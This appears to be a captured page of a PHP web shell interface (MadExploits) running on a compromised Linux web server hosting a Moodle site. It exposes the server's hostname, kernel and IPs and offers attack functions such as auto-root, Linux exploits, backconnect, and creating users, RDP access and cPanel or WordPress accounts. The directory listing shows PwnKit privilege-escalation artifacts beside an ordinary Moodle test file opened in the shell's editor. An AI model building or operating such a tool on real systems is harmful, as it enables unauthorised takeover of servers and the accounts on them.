Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.131.97
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
tests /
external /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
record_userfeedback_action_tes...
2.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : record_userfeedback_action_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * External functions test for record_feedback_action. * * @package core * @category test * @copyright 2020 Shamim Rezaie <shamim@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ namespace core\external; defined('MOODLE_INTERNAL') || die(); use externallib_advanced_testcase; use context_system; global $CFG; require_once($CFG->dirroot . '/webservice/tests/helpers.php'); /** * Class record_userfeedback_action_testcase * * @copyright 2020 Shamim Rezaie <shamim@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @coversDefaultClass \core\external\record_userfeedback_action */ class record_userfeedback_action_testcase extends externallib_advanced_testcase { /** * Data provider for test_record_userfeedback_action. * * @return array */ public function record_userfeedback_action_provider() { return [ 'give action' => ['give'], 'remind action' => ['remind'], ]; } /** * Test the behaviour of record_userfeedback_action(). * * @dataProvider record_userfeedback_action_provider * @param string $action The action taken by the user * * @covers ::execute */ public function test_record_userfeedback_action(string $action) { $this->resetAfterTest(); $context = context_system::instance(); $user = $this->getDataGenerator()->create_user(); $this->setUser($user); $eventsink = $this->redirectEvents(); $now = time(); // Call the WS and check the action is recorded as expected. $result = record_userfeedback_action::execute($action, $context->id); $this->assertNull($result); $preference = get_user_preferences('core_userfeedback_' . $action); $this->assertGreaterThanOrEqual($now, $preference); $events = $eventsink->get_events(); $this->assertCount(1, $events); $this->assertInstanceOf('\core\event\userfeedback_' . $action, $events[0]); $eventsink->clear(); } }
Close